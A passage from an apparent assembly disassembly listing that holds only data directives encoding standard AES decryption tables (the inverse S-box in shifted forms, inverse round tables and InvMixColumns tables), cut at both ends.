3EDDAE05h, 0E64D46BDh dd 5491B58Dh, 0C471055Dh, 6046FD4h, 5060FF15h, 981924FBh dd 0BDD697E9h, 4089CC43h, 0D967779Eh, 0E8B0BD42h, 8907888Bh dd 19E7385Bh, 0C879DBEEh, 7CA1470Ah, 427CE90Fh, 84F8C91Eh dd 0 dd 80098386h, 2B3248EDh, 111EAC70h, 5A6C4E72h, 0EFDFBFFh dd 850F5638h, 0AE3D1ED5h, 2D362739h, 0F0A64D9h, 5C6821A6h dd 5B9BD154h, 36243A2Eh, 0A0CB167h, 57930FE7h, 0EEB4D296h dd 9B1B9E91h, 0C0804FC5h, 0DC61A220h, 775A694Bh, 121C161Ah dd 93E20ABAh, 0A0C0E52Ah, 223C43E0h, 1B121D17h, 90E0B0Dh dd 8BF2ADC7h, 0B62DB9A8h, 1E14C8A9h, 0F1578519h, 75AF4C07h dd 99EEBBDDh, 7FA3FD60h, 1F79F26h, 725CBCF5h, 6644C53Bh dd 0FB5B347Eh, 438B7629h, 23CBDCC6h, 0EDB668FCh, 0E4B863F1h dd 31D7CADCh, 63421085h, 97134022h, 0C6842011h, 4A857D24h dd 0BBD2F83Dh, 0F9AE1132h, 29C76DA1h, 9E1D4B2Fh, 0B2DCF330h dd 860DEC52h, 0C177D0E3h, 0B32B6C16h, 70A999B9h, 9411FA48h dd 0E9472264h, 0FCA8C48Ch, 0F0A01A3Fh, 7D56D82Ch, 3322EF90h dd 4987C74Eh, 38D9C1D1h, 0CA8CFEA2h, 0D498360Bh, 0F5A6CF81h dd 7AA528DEh, 0B7DA268Eh, 0AD3FA4BFh, 3A2CE49Dh, 78500D92h dd 5F6A9BCCh, 7E546246h, 8DF6C213h, 0D890E8B8h, 392E5EF7h dd 0C382F5AFh, 5D9FBE80h, 0D0697C93h, 0D56FA92Dh, 25CFB312h dd 0ACC83B99h, 1810A77Dh, 9CE86E63h, 3BDB7BBBh, 26CD0978h dd 596EF418h, 9AEC01B7h, 4F83A89Ah, 95E6656Eh, 0FFAA7EE6h dd 0BC2108CFh, 15EFE6E8h, 0E7BAD99Bh, 6F4ACE36h, 9FEAD409h dd 0B029D67Ch, 0A431AFB2h, 3F2A3123h, 0A5C63094h, 0A235C066h dd 4E7437BCh, 82FCA6CAh, 90E0B0D0h, 0A73315D8h, 4F14A98h dd 0EC41F7DAh, 0CD7F0E50h, 91172FF6h, 4D768DD6h, 0EF434DB0h dd 0AACC544Dh, 96E4DF04h, 0D19EE3B5h, 6A4C1B88h, 2CC1B81Fh dd 65467F51h, 5E9D04EAh, 8C015D35h, 87FA7374h, 0BFB2E41h dd 67B35A1Dh, 0DB9252D2h, 10E93356h, 0D66D1347h, 0D79A8C61h dd 0A1377A0Ch, 0F8598E14h, 13EB893Ch, 0A9CEEE27h, 61B735C9h dd 1CE1EDE5h, 477A3CB1h, 0D29C59DFh, 0F2553F73h, 141879CEh dd 0C773BF37h, 0F753EACDh, 0FD5F5BAAh, 3DDF146Fh, 447886DBh dd 0AFCA81F3h, 68B93EC4h, 24382C34h, 0A3C25F40h, 1D1672C3h dd 0E2BC0C25h, 3C288B49h, 0DFF4195h, 0A8397101h, 0C08DEB3h dd 0B4D89CE4h, 566490C1h, 0CB7B6184h, 32D570B6h, 6C48745Ch dd 0B8D04257h, 5150A7F4h, 7E536541h, 1AC3A417h, 3A965E27h dd 3BCB6BABh, 1FF1459Dh, 0ACAB58FAh, 4B9303E3h, 2055FA30h dd 0ADF66D76h, 889176CCh, 0F5254C02h, 4FFCD7E5h, 0C5D7CB2Ah dd 26804435h, 0B58FA362h, 0DE495AB1h, 25671BBAh, 45980EEAh dd 5DE1C0FEh, 0C302752Fh, 8112F04Ch, 8DA39746h, 6BC6F9D3h dd 3E75F8Fh, 15959C92h, 0BFEB7A6Dh, 95DA5952h, 0D42D83BEh dd 58D32174h, 492969E0h, 8E44C8C9h, 756A89C2h, 0F478798Eh dd 996B3E58h, 27DD71B9h, 0BEB64FE1h, 0F017AD88h, 0C966AC20h dd 7DB43ACEh, 63184ADFh, 0E582311Ah, 97603351h, 62457F53h dd 0B1E07764h, 0BB84AE6Bh, 0FE1CA081h, 0F9942B08h, 70586848h dd 8F19FD45h, 94876CDEh, 52B7F87Bh, 0AB23D373h, 72E2024Bh dd 0E3578F1Fh, 662AAB55h, 0B20728EBh, 2F03C2B5h, 869A7BC5h dd 0D3A50837h, 30F28728h, 23B2A5BFh, 2BA6A03h, 0ED5C8216h dd 8A2B1CCFh, 0A792B479h, 0F3F0F207h, 4EA1E269h, 65CDF4DAh dd 6D5BE05h, 0D11F6234h, 0C48AFEA6h, 349D532Eh, 0A2A055F3h dd 532E18Ah, 0A475EBF6h, 0B39EC83h, 40AAEF60h, 5E069F71h dd 0BD51106Eh, 3EF98A21h, 963D06DDh, 0DDAE053Eh, 4D46BDE6h dd 91B58D54h, 71055DC4h, 46FD406h, 60FF1550h, 1924FB98h dd 0D697E9BDh, 89CC4340h, 67779ED9h, 0B0BD42E8h, 7888B89h dd 0E7385B19h, 79DBEEC8h, 0A1470A7Ch, 7CE90F42h, 0F8C91E84h dd 0 dd 9838680h, 3248ED2Bh, 1EAC7011h, 6C4E725Ah, 0FDFBFF0Eh dd 0F563885h, 3D1ED5AEh, 3627392Dh, 0A64D90Fh, 6821A65Ch dd 9BD1545Bh, 243A2E36h, 0CB1670Ah, 930FE757h, 0B4D296EEh dd 1B9E919Bh, 804FC5C0h, 61A220DCh, 5A694B77h, 1C161A12h dd 0E20ABA93h, 0C0E52AA0h, 3C43E022h, 121D171Bh, 0E0B0D09h dd 0F2ADC78Bh, 2DB9A8B6h, 14C8A91Eh, 578519F1h, 0AF4C0775h dd 0EEBBDD99h, 0A3FD607Fh, 0F79F2601h, 5CBCF572h, 44C53B66h dd 5B347EFBh, 8B762943h, 0CBDCC623h, 0B668FCEDh, 0B863F1E4h dd 0D7CADC31h, 42108563h, 13402297h, 842011C6h, 857D244Ah dd 0D2F83DBBh, 0AE1132F9h, 0C76DA129h, 1D4B2F9Eh, 0DCF330B2h dd 0DEC5286h, 77D0E3C1h, 2B6C16B3h, 0A999B970h, 11FA4894h dd 472264E9h, 0A8C48CFCh, 0A01A3FF0h, 56D82C7Dh, 22EF9033h dd 87C74E49h, 0D9C1D138h, 8CFEA2CAh, 98360BD4h, 0A6CF81F5h dd 0A528DE7Ah, 0DA268EB7h, 3FA4BFADh, 2CE49D3Ah, 500D9278h dd 6A9BCC5Fh, 5462467Eh, 0F6C2138Dh, 90E8B8D8h, 2E5EF739h dd 82F5AFC3h, 9FBE805Dh, 697C93D0h, 6FA92DD5h, 0CFB31225h dd 0C83B99ACh, 10A77D18h, 0E86E639Ch, 0DB7BBB3Bh, 0CD097826h dd 6EF41859h, 0EC01B79Ah, 83A89A4Fh, 0E6656E95h, 0AA7EE6FFh dd 2108CFBCh, 0EFE6E815h, 0BAD99BE7h, 4ACE366Fh, 0EAD4099Fh dd 29D67CB0h, 31AFB2A4h, 2A31233Fh, 0C63094A5h, 35C066A2h dd 7437BC4Eh, 0FCA6CA82h, 0E0B0D090h, 3315D8A7h, 0F14A9804h dd 41F7DAECh, 7F0E50CDh, 172FF691h, 768DD64Dh, 434DB0EFh dd 0CC544DAAh, 0E4DF0496h, 9EE3B5D1h, 4C1B886Ah, 0C1B81F2Ch dd 467F5165h, 9D04EA5Eh, 15D358Ch, 0FA737487h, 0FB2E410Bh dd 0B35A1D67h, 9252D2DBh, 0E9335610h, 6D1347D6h, 9A8C61D7h dd 377A0CA1h, 598E14F8h, 0EB893C13h, 0CEEE27A9h, 0B735C961h dd 0E1EDE51Ch, 7A3CB147h, 9C59DFD2h, 553F73F2h, 1879CE14h dd 73BF37C7h, 53EACDF7h, 5F5BAAFDh, 0DF146F3Dh, 7886DB44h dd 0CA81F3AFh, 0B93EC468h, 382C3424h, 0C25F40A3h, 1672C31Dh dd 0BC0C25E2h, 288B493Ch, 0FF41950Dh, 397101A8h, 8DEB30Ch dd 0D89CE4B4h, 6490C156h, 7B6184CBh, 0D570B632h, 48745C6Ch dd 0D04257B8h, 52h, 9, 6Ah, 0D5h, 30h, 36h, 0A5h, 38h dd 0BFh, 40h, 0A3h, 9Eh, 81h, 0F3h, 0D7h, 0FBh, 7Ch, 0E3h dd 39h, 82h, 9Bh, 2Fh, 0FFh, 87h, 34h, 8Eh, 43h, 44h, 0C4h dd 0DEh, 0E9h, 0CBh, 54h, 7Bh, 94h, 32h, 0A6h, 0C2h, 23h dd 3Dh, 0EEh, 4Ch, 95h, 0Bh, 42h, 0FAh, 0C3h, 4Eh, 8, 2Eh dd 0A1h, 66h, 28h, 0D9h, 24h, 0B2h, 76h, 5Bh, 0A2h, 49h dd 6Dh, 8Bh, 0D1h, 25h, 72h, 0F8h, 0F6h, 64h, 86h, 68h dd 98h, 16h, 0D4h, 0A4h, 5Ch, 0CCh, 5Dh, 65h, 0B6h, 92h dd 6Ch, 70h, 48h, 50h, 0FDh, 0EDh, 0B9h, 0DAh, 5Eh, 15h dd 46h, 57h, 0A7h, 8Dh, 9Dh, 84h, 90h, 0D8h, 0ABh, 0 dd 8Ch, 0BCh, 0D3h, 0Ah, 0F7h, 0E4h, 58h, 5, 0B8h, 0B3h dd 45h, 6, 0D0h, 2Ch, 1Eh, 8Fh, 0CAh, 3Fh, 0Fh, 2, 0C1h dd 0AFh, 0BDh, 3, 1, 13h, 8Ah, 6Bh, 3Ah, 91h, 11h, 41h dd 4Fh, 67h, 0DCh, 0EAh, 97h, 0F2h, 0CFh, 0CEh, 0F0h, 0B4h dd 0E6h, 73h, 96h, 0ACh, 74h, 22h, 0E7h, 0ADh, 35h, 85h dd 0E2h, 0F9h, 37h, 0E8h, 1Ch, 75h, 0DFh, 6Eh, 47h, 0F1h dd 1Ah, 71h, 1Dh, 29h, 0C5h, 89h, 6Fh, 0B7h, 62h, 0Eh dd 0AAh, 18h, 0BEh, 1Bh, 0FCh, 56h, 3Eh, 4Bh, 0C6h, 0D2h dd 79h, 20h, 9Ah, 0DBh, 0C0h, 0FEh, 78h, 0CDh, 5Ah, 0F4h dd 1Fh, 0DDh, 0A8h, 33h, 88h, 7, 0C7h, 31h, 0B1h, 12h dd 10h, 59h, 27h, 80h, 0ECh, 5Fh, 60h, 51h, 7Fh, 0A9h dd 19h, 0B5h, 4Ah, 0Dh, 2Dh, 0E5h, 7Ah, 9Fh, 93h, 0C9h dd 9Ch, 0EFh, 0A0h, 0E0h, 3Bh, 4Dh, 0AEh, 2Ah, 0F5h, 0B0h dd 0C8h, 0EBh, 0BBh, 3Ch, 83h, 53h, 99h, 61h, 17h, 2Bh dd 4, 7Eh, 0BAh, 77h, 0D6h, 26h, 0E1h, 69h, 14h, 63h, 55h dd 21h, 0Ch, 7Dh, 5200h, 900h, 6A00h, 0D500h, 3000h, 3600h dd 0A500h, 3800h, 0BF00h, 4000h, 0A300h, 9E00h, 8100h dd 0F300h, 0D700h, 0FB00h, 7C00h, 0E300h, 3900h, 8200h dd 9B00h, 2F00h, 0FF00h, 8700h, 3400h, 8E00h, 4300h, 4400h dd 0C400h, 0DE00h, 0E900h, 0CB00h, 5400h, 7B00h, 9400h dd 3200h, 0A600h, 0C200h, 2300h, 3D00h, 0EE00h, 4C00h dd 9500h, 0B00h, 4200h, 0FA00h, 0C300h, 4E00h, 800h, 2E00h dd 0A100h, 6600h, 2800h, 0D900h, 2400h, 0B200h, 7600h dd 5B00h, 0A200h, 4900h, 6D00h, 8B00h, 0D100h, 2500h, 7200h dd 0F800h, 0F600h, 6400h, 8600h, 6800h, 9800h, 1600h, 0D400h dd 0A400h, 5C00h, 0CC00h, 5D00h, 6500h, 0B600h, 9200h dd 6C00h, 7000h, 4800h, 5000h, 0FD00h, 0ED00h, 0B900h dd 0DA00h, 5E00h, 1500h, 4600h, 5700h, 0A700h, 8D00h, 9D00h dd 8400h, 9000h, 0D800h, 0AB00h, 0 dd 8C00h, 0BC00h, 0D300h, 0A00h, 0F700h, 0E400h, 5800h dd 500h, 0B800h, 0B300h, 4500h, 600h, 0D000h, 2C00h, 1E00h dd 8F00h, 0CA00h, 3F00h, 0F00h, 200h, 0C100h, 0AF00h, 0BD00h dd 300h, 100h, 1300h, 8A00h, 6B00h, 3A00h, 9100h, 1100h dd 4100h, 4F00h, 6700h, 0DC00h, 0EA00h, 9700h, 0F200h dd 0CF00h, 0CE00h, 0F000h, 0B400h, 0E600h, 7300h, 9600h dd 0AC00h, 7400h, 2200h, 0E700h, 0AD00h, 3500h, 8500h dd 0E200h, 0F900h, 3700h, 0E800h, 1C00h, 7500h, 0DF00h dd 6E00h, 4700h, 0F100h, 1A00h, 7100h, 1D00h, 2900h, 0C500h dd 8900h, 6F00h, 0B700h, 6200h, 0E00h, 0AA00h, 1800h, 0BE00h dd 1B00h, 0FC00h, 5600h, 3E00h, 4B00h, 0C600h, 0D200h dd 7900h, 2000h, 9A00h, 0DB00h, 0C000h, 0FE00h, 7800h dd 0CD00h, 5A00h, 0F400h, 1F00h, 0DD00h, 0A800h, 3300h dd 8800h, 700h, 0C700h, 3100h, 0B100h, 1200h, 1000h, 5900h dd 2700h, 8000h, 0EC00h, 5F00h, 6000h, 5100h, 7F00h, 0A900h dd 1900h, 0B500h, 4A00h, 0D00h, 2D00h, 0E500h, 7A00h, 9F00h dd 9300h, 0C900h, 9C00h, 0EF00h, 0A000h, 0E000h, 3B00h dd 4D00h, 0AE00h, 2A00h, 0F500h, 0B000h, 0C800h, 0EB00h dd 0BB00h, 3C00h, 8300h, 5300h, 9900h, 6100h, 1700h, 2B00h dd 400h, 7E00h, 0BA00h, 7700h, 0D600h, 2600h, 0E100h, 6900h dd 1400h, 6300h, 5500h, 2100h, 0C00h, 7D00h, 520000h, 90000h dd 6A0000h, 0D50000h, 300000h, 360000h, 0A50000h, 380000h dd 0BF0000h, 400000h, 0A30000h, 9E0000h, 810000h, 0F30000h dd 0D70000h, 0FB0000h, 7C0000h, 0E30000h, 390000h, 820000h dd 9B0000h, 2F0000h, 0FF0000h, 870000h, 340000h, 8E0000h dd 430000h, 440000h, 0C40000h, 0DE0000h, 0E90000h, 0CB0000h dd 540000h, 7B0000h, 940000h, 320000h, 0A60000h, 0C20000h dd 230000h, 3D0000h, 0EE0000h, 4C0000h, 950000h, 0B0000h dd 420000h, 0FA0000h, 0C30000h, 4E0000h, 80000h, 2E0000h dd 0A10000h, 660000h, 280000h, 0D90000h, 240000h, 0B20000h dd 760000h, 5B0000h, 0A20000h, 490000h, 6D0000h, 8B0000h dd 0D10000h, 250000h, 720000h, 0F80000h, 0F60000h, 640000h dd 860000h, 680000h, 980000h, 160000h, 0D40000h, 0A40000h dd 5C0000h, 0CC0000h, 5D0000h, 650000h, 0B60000h, 920000h dd 6C0000h, 700000h, 480000h, 500000h, 0FD0000h, 0ED0000h dd 0B90000h, 0DA0000h, 5E0000h, 150000h, 460000h, 570000h dd 0A70000h, 8D0000h, 9D0000h, 840000h, 900000h, 0D80000h dd 0AB0000h, 0 dd 8C0000h, 0BC0000h, 0D30000h, 0A0000h, 0F70000h, 0E40000h dd 580000h, 50000h, 0B80000h, 0B30000h, 450000h, 60000h dd 0D00000h, 2C0000h, 1E0000h, 8F0000h, 0CA0000h, 3F0000h dd 0F0000h, 20000h, 0C10000h, 0AF0000h, 0BD0000h, 30000h dd 10000h, 130000h, 8A0000h, 6B0000h, 3A0000h, 910000h dd 110000h, 410000h, 4F0000h, 670000h, 0DC0000h, 0EA0000h dd 970000h, 0F20000h, 0CF0000h, 0CE0000h, 0F00000h, 0B40000h dd 0E60000h, 730000h, 960000h, 0AC0000h, 740000h, 220000h dd 0E70000h, 0AD0000h, 350000h, 850000h, 0E20000h, 0F90000h dd 370000h, 0E80000h, 1C0000h, 750000h, 0DF0000h, 6E0000h dd 470000h, 0F10000h, 1A0000h, 710000h, 1D0000h, 290000h dd 0C50000h, 890000h, 6F0000h, 0B70000h, 620000h, 0E0000h dd 0AA0000h, 180000h, 0BE0000h, 1B0000h, 0FC0000h, 560000h dd 3E0000h, 4B0000h, 0C60000h, 0D20000h, 790000h, 200000h dd 9A0000h, 0DB0000h, 0C00000h, 0FE0000h, 780000h, 0CD0000h dd 5A0000h, 0F40000h, 1F0000h, 0DD0000h, 0A80000h, 330000h dd 880000h, 70000h, 0C70000h, 310000h, 0B10000h, 120000h dd 100000h, 590000h, 270000h, 800000h, 0EC0000h, 5F0000h dd 600000h, 510000h, 7F0000h, 0A90000h, 190000h, 0B50000h dd 4A0000h, 0D0000h, 2D0000h, 0E50000h, 7A0000h, 9F0000h dd 930000h, 0C90000h, 9C0000h, 0EF0000h, 0A00000h, 0E00000h dd 3B0000h, 4D0000h, 0AE0000h, 2A0000h, 0F50000h, 0B00000h dd 0C80000h, 0EB0000h, 0BB0000h, 3C0000h, 830000h, 530000h dd 990000h, 610000h, 170000h, 2B0000h, 40000h, 7E0000h dd 0BA0000h, 770000h, 0D60000h, 260000h, 0E10000h, 690000h dd 140000h, 630000h, 550000h, 210000h, 0C0000h, 7D0000h dd 52000000h, 9000000h, 6A000000h, 0D5000000h, 30000000h dd 36000000h, 0A5000000h, 38000000h, 0BF000000h, 40000000h dd 0A3000000h, 9E000000h, 81000000h, 0F3000000h, 0D7000000h dd 0FB000000h, 7C000000h, 0E3000000h, 39000000h, 82000000h dd 9B000000h, 2F000000h, 0FF000000h, 87000000h, 34000000h dd 8E000000h, 43000000h, 44000000h, 0C4000000h, 0DE000000h dd 0E9000000h, 0CB000000h, 54000000h, 7B000000h, 94000000h dd 32000000h, 0A6000000h, 0C2000000h, 23000000h, 3D000000h dd 0EE000000h, 4C000000h, 95000000h, 0B000000h, 42000000h dd 0FA000000h, 0C3000000h, 4E000000h, 8000000h, 2E000000h dd 0A1000000h, 66000000h, 28000000h, 0D9000000h, 24000000h dd 0B2000000h, 76000000h, 5B000000h, 0A2000000h, 49000000h dd 6D000000h, 8B000000h, 0D1000000h, 25000000h, 72000000h dd 0F8000000h, 0F6000000h, 64000000h, 86000000h, 68000000h dd 98000000h, 16000000h, 0D4000000h, 0A4000000h, 5C000000h dd 0CC000000h, 5D000000h, 65000000h, 0B6000000h, 92000000h dd 6C000000h, 70000000h, 48000000h, 50000000h, 0FD000000h dd 0ED000000h, 0B9000000h, 0DA000000h, 5E000000h, 15000000h dd 46000000h, 57000000h, 0A7000000h, 8D000000h, 9D000000h dd 84000000h, 90000000h, 0D8000000h, 0AB000000h, 0 dd 8C000000h, 0BC000000h, 0D3000000h, 0A000000h, 0F7000000h dd 0E4000000h, 58000000h, 5000000h, 0B8000000h, 0B3000000h dd 45000000h, 6000000h, 0D0000000h, 2C000000h, 1E000000h dd 8F000000h, 0CA000000h, 3F000000h, 0F000000h, 2000000h dd 0C1000000h, 0AF000000h, 0BD000000h, 3000000h, 1000000h dd 13000000h, 8A000000h, 6B000000h, 3A000000h, 91000000h dd 11000000h, 41000000h, 4F000000h, 67000000h, 0DC000000h dd 0EA000000h, 97000000h, 0F2000000h, 0CF000000h, 0CE000000h dd 0F0000000h, 0B4000000h, 0E6000000h, 73000000h, 96000000h dd 0AC000000h, 74000000h, 22000000h, 0E7000000h, 0AD000000h dd 35000000h, 85000000h, 0E2000000h, 0F9000000h, 37000000h dd 0E8000000h, 1C000000h, 75000000h, 0DF000000h, 6E000000h dd 47000000h, 0F1000000h, 1A000000h, 71000000h, 1D000000h dd 29000000h, 0C5000000h, 89000000h, 6F000000h, 0B7000000h dd 62000000h, 0E000000h, 0AA000000h, 18000000h, 0BE000000h dd 1B000000h, 0FC000000h, 56000000h, 3E000000h, 4B000000h dd 0C6000000h, 0D2000000h, 79000000h, 20000000h, 9A000000h dd 0DB000000h, 0C0000000h, 0FE000000h, 78000000h, 0CD000000h dd 5A000000h, 0F4000000h, 1F000000h, 0DD000000h, 0A8000000h dd 33000000h, 88000000h, 7000000h, 0C7000000h, 31000000h dd 0B1000000h, 12000000h, 10000000h, 59000000h, 27000000h dd 80000000h, 0EC000000h, 5F000000h, 60000000h, 51000000h dd 7F000000h, 0A9000000h, 19000000h, 0B5000000h, 4A000000h dd 0D000000h, 2D000000h, 0E5000000h, 7A000000h, 9F000000h dd 93000000h, 0C9000000h, 9C000000h, 0EF000000h, 0A0000000h dd 0E0000000h, 3B000000h, 4D000000h, 0AE000000h, 2A000000h dd 0F5000000h, 0B0000000h, 0C8000000h, 0EB000000h, 0BB000000h dd 3C000000h, 83000000h, 53000000h, 99000000h, 61000000h dd 17000000h, 2B000000h, 4000000h, 7E000000h, 0BA000000h dd 77000000h, 0D6000000h, 26000000h, 0E1000000h, 69000000h dd 14000000h, 63000000h, 55000000h, 21000000h, 0C000000h dd 7D000000h, 0 dd 0B0D090Eh, 161A121Ch, 1D171B12h, 2C342438h, 27392D36h dd 3A2E3624h, 31233F2Ah, 58684870h, 5365417Eh, 4E725A6Ch dd 457F5362h, 745C6C48h, 7F516546h, 62467E54h, 694B775Ah dd 0B0D090E0h, 0BBDD99EEh, 0A6CA82FCh, 0ADC78BF2h, 9CE4B4D8h dd 97E9BDD6h, 8AFEA6C4h, 81F3AFCAh, 0E8B8D890h, 0E3B5D19Eh dd 0FEA2CA8Ch, 0F5AFC382h, 0C48CFCA8h, 0CF81F5A6h, 0D296EEB4h dd 0D99BE7BAh, 7BBB3BDBh, 70B632D5h, 6DA129C7h, 66AC20C9h dd 578F1FE3h, 5C8216EDh, 41950DFFh, 4A9804F1h, 23D373ABh dd 28DE7AA5h, 35C961B7h, 3EC468B9h, 0FE75793h, 4EA5E9Dh dd 19FD458Fh, 12F04C81h, 0CB6BAB3Bh, 0C066A235h, 0DD71B927h dd 0D67CB029h, 0E75F8F03h, 0EC52860Dh, 0F1459D1Fh, 0FA489411h dd 9303E34Bh, 980EEA45h, 8519F157h, 8E14F859h, 0BF37C773h dd 0B43ACE7Dh, 0A92DD56Fh, 0A220DC61h, 0F66D76ADh, 0FD607FA3h dd 0E07764B1h, 0EB7A6DBFh, 0DA595295h, 0D1545B9Bh, 0CC434089h dd 0C74E4987h, 0AE053EDDh, 0A50837D3h, 0B81F2CC1h, 0B31225CFh dd 82311AE5h, 893C13EBh, 942B08F9h, 9F2601F7h, 46BDE64Dh dd 4DB0EF43h, 50A7F451h, 5BAAFD5Fh, 6A89C275h, 6184CB7Bh dd 7C93D069h, 779ED967h, 1ED5AE3Dh, 15D8A733h, 8CFBC21h dd 3C2B52Fh, 32E18A05h, 39EC830Bh, 24FB9819h, 2FF69117h dd 8DD64D76h, 86DB4478h, 9BCC5F6Ah, 90C15664h, 0A1E2694Eh dd 0AAEF6040h, 0B7F87B52h, 0BCF5725Ch, 0D5BE0506h, 0DEB30C08h dd 0C3A4171Ah, 0C8A91E14h, 0F98A213Eh, 0F2872830h, 0EF903322h dd 0E49D3A2Ch, 3D06DD96h, 360BD498h, 2B1CCF8Ah, 2011C684h dd 1132F9AEh, 1A3FF0A0h, 728EBB2h, 0C25E2BCh, 656E95E6h dd 6E639CE8h, 737487FAh, 78798EF4h, 495AB1DEh, 4257B8D0h dd 5F40A3C2h, 544DAACCh, 0F7DAEC41h, 0FCD7E54Fh, 0E1C0FE5Dh dd 0EACDF753h, 0DBEEC879h, 0D0E3C177h, 0CDF4DA65h, 0C6F9D36Bh dd 0AFB2A431h, 0A4BFAD3Fh, 0B9A8B62Dh, 0B2A5BF23h, 83868009h dd 888B8907h, 959C9215h, 9E919B1Bh, 470A7CA1h, 4C0775AFh dd 51106EBDh, 5A1D67B3h, 6B3E5899h, 60335197h, 7D244A85h dd 7629438Bh, 1F6234D1h, 146F3DDFh, 97826CDh, 2752FC3h dd 335610E9h, 385B19E7h, 254C02F5h, 2E410BFBh, 8C61D79Ah dd 876CDE94h, 9A7BC586h, 9176CC88h, 0A055F3A2h, 0AB58FAACh dd 0B64FE1BEh, 0BD42E8B0h, 0D4099FEAh, 0DF0496E4h, 0C2138DF6h dd 0C91E84F8h, 0F83DBBD2h, 0F330B2DCh, 0EE27A9CEh, 0E52AA0C0h dd 3CB1477Ah, 37BC4E74h, 2AAB5566h, 21A65C68h, 10856342h dd 1B886A4Ch, 69F715Eh, 0D927850h, 64D90F0Ah, 6FD40604h dd 72C31D16h, 79CE1418h, 48ED2B32h, 43E0223Ch, 5EF7392Eh dd 55FA3020h, 1B79AECh, 0ABA93E2h, 17AD88F0h, 1CA081FEh dd 2D83BED4h, 268EB7DAh, 3B99ACC8h, 3094A5C6h, 59DFD29Ch dd 52D2DB92h, 4FC5C080h, 44C8C98Eh, 75EBF6A4h, 7EE6FFAAh dd 63F1E4B8h, 68FCEDB6h, 0B1670A0Ch, 0BA6A0302h, 0A77D1810h dd 0AC70111Eh, 9D532E34h, 965E273Ah, 8B493C28h, 80443526h dd 0E90F427Ch, 0E2024B72h, 0FF155060h, 0F418596Eh, 0C53B6644h dd 0CE366F4Ah, 0D3217458h, 0D82C7D56h, 7A0CA137h, 7101A839h dd 6C16B32Bh, 671BBA25h, 5638850Fh, 5D358C01h, 40229713h dd 4B2F9E1Dh, 2264E947h, 2969E049h, 347EFB5Bh, 3F73F255h dd 0E50CD7Fh, 55DC471h, 184ADF63h, 1347D66Dh, 0CADC31D7h dd 0C1D138D9h, 0DCC623CBh, 0D7CB2AC5h, 0E6E815EFh, 0EDE51CE1h dd 0F0F207F3h, 0FBFF0EFDh, 92B479A7h, 99B970A9h, 84AE6BBBh dd 8FA362B5h, 0BE805D9Fh, 0B58D5491h, 0A89A4F83h, 0A397468Dh dd 0 dd 0D090E0Bh, 1A121C16h, 171B121Dh, 3424382Ch, 392D3627h dd 2E36243Ah, 233F2A31h, 68487058h, 65417E53h, 725A6C4Eh dd 7F536245h, 5C6C4874h, 5165467Fh, 467E5462h, 4B775A69h dd 0D090E0B0h, 0DD99EEBBh, 0CA82FCA6h, 0C78BF2ADh, 0E4B4D89Ch dd 0E9BDD697h, 0FEA6C48Ah, 0F3AFCA81h, 0B8D890E8h, 0B5D19EE3h dd 0A2CA8CFEh, 0AFC382F5h, 8CFCA8C4h, 81F5A6CFh, 96EEB4D2h dd 9BE7BAD9h, 0BB3BDB7Bh, 0B632D570h, 0A129C76Dh, 0AC20C966h dd 8F1FE357h, 8216ED5Ch, 950DFF41h, 9804F14Ah, 0D373AB23h dd 0DE7AA528h, 0C961B735h, 0C468B93Eh, 0E757930Fh, 0EA5E9D04h dd 0FD458F19h, 0F04C8112h, 6BAB3BCBh, 66A235C0h, 71B927DDh dd 7CB029D6h, 5F8F03E7h, 52860DECh, 459D1FF1h, 489411FAh dd 3E34B93h, 0EEA4598h, 19F15785h, 14F8598Eh, 37C773BFh dd 3ACE7DB4h, 2DD56FA9h, 20DC61A2h, 6D76ADF6h, 607FA3FDh dd 7764B1E0h, 7A6DBFEBh, 595295DAh, 545B9BD1h, 434089CCh dd 4E4987C7h, 53EDDAEh, 837D3A5h, 1F2CC1B8h, 1225CFB3h dd 311AE582h, 3C13EB89h, 2B08F994h, 2601F79Fh, 0BDE64D46h dd 0B0EF434Dh, 0A7F45150h, 0AAFD5F5Bh, 89C2756Ah, 84CB7B61h dd 93D0697Ch, 9ED96777h, 0D5AE3D1Eh, 0D8A73315h, 0CFBC2108h dd 0C2B52F03h, 0E18A0532h, 0EC830B39h, 0FB981924h, 0F691172Fh dd 0D64D768Dh, 0DB447886h, 0CC5F6A9Bh, 0C1566490h, 0E2694EA1h dd 0EF6040AAh, 0F87B52B7h, 0F5725CBCh, 0BE0506D5h, 0B30C08DEh dd 0A4171AC3h, 0A91E14C8h, 8A213EF9h, 872830F2h, 903322EFh dd 9D3A2CE4h, 6DD963Dh, 0BD49836h, 1CCF8A2Bh, 11C68420h dd 32F9AE11h, 3FF0A01Ah, 28EBB207h, 25E2BC0Ch, 6E95E665h dd 639CE86Eh, 7487FA73h, 798EF478h, 5AB1DE49h, 57B8D042h dd 40A3C25Fh, 4DAACC54h, 0DAEC41F7h, 0D7E54FFCh, 0C0FE5DE1h dd 0CDF753EAh, 0EEC879DBh, 0E3C177D0h, 0F4DA65CDh, 0F9D36BC6h dd 0B2A431AFh, 0BFAD3FA4h, 0A8B62DB9h, 0A5BF23B2h, 86800983h dd 8B890788h, 9C921595h, 919B1B9Eh, 0A7CA147h, 775AF4Ch dd 106EBD51h, 1D67B35Ah, 3E58996Bh, 33519760h, 244A857Dh dd 29438B76h, 6234D11Fh, 6F3DDF14h, 7826CD09h, 752FC302h dd 5610E933h, 5B19E738h, 4C02F525h, 410BFB2Eh, 61D79A8Ch dd 6CDE9487h, 7BC5869Ah, 76CC8891h, 55F3A2A0h, 58FAACABh dd 4FE1BEB6h, 42E8B0BDh, 99FEAD4h, 496E4DFh, 138DF6C2h dd 1E84F8C9h, 3DBBD2F8h, 30B2DCF3h, 27A9CEEEh, 2AA0C0E5h dd 0B1477A3Ch, 0BC4E7437h, 0AB55662Ah, 0A65C6821h, 85634210h dd 886A4C1Bh, 9F715E06h, 9278500Dh, 0D90F0A64h, 0D406046Fh dd 0C31D1672h, 0CE141879h, 0ED2B3248h, 0E0223C43h, 0F7392E5Eh dd 0FA302055h, 0B79AEC01h, 0BA93E20Ah, 0AD88F017h, 0A081FE1Ch dd 83BED42Dh, 8EB7DA26h, 99ACC83Bh, 94A5C630h, 0DFD29C59h dd 0D2DB9252h, 0C5C0804Fh, 0C8C98E44h, 0EBF6A475h, 0E6FFAA7Eh dd 0F1E4B863h, 0FCEDB668h, 670A0CB1h, 6A0302BAh, 7D1810A7h dd 70111EACh, 532E349Dh, 5E273A96h, 493C288Bh, 44352680h dd 0F427CE9h, 24B72E2h, 155060FFh, 18596EF4h, 3B6644C5h dd 366F4ACEh, 217458D3h, 2C7D56D8h, 0CA1377Ah, 1A83971h dd 16B32B6Ch, 1BBA2567h, 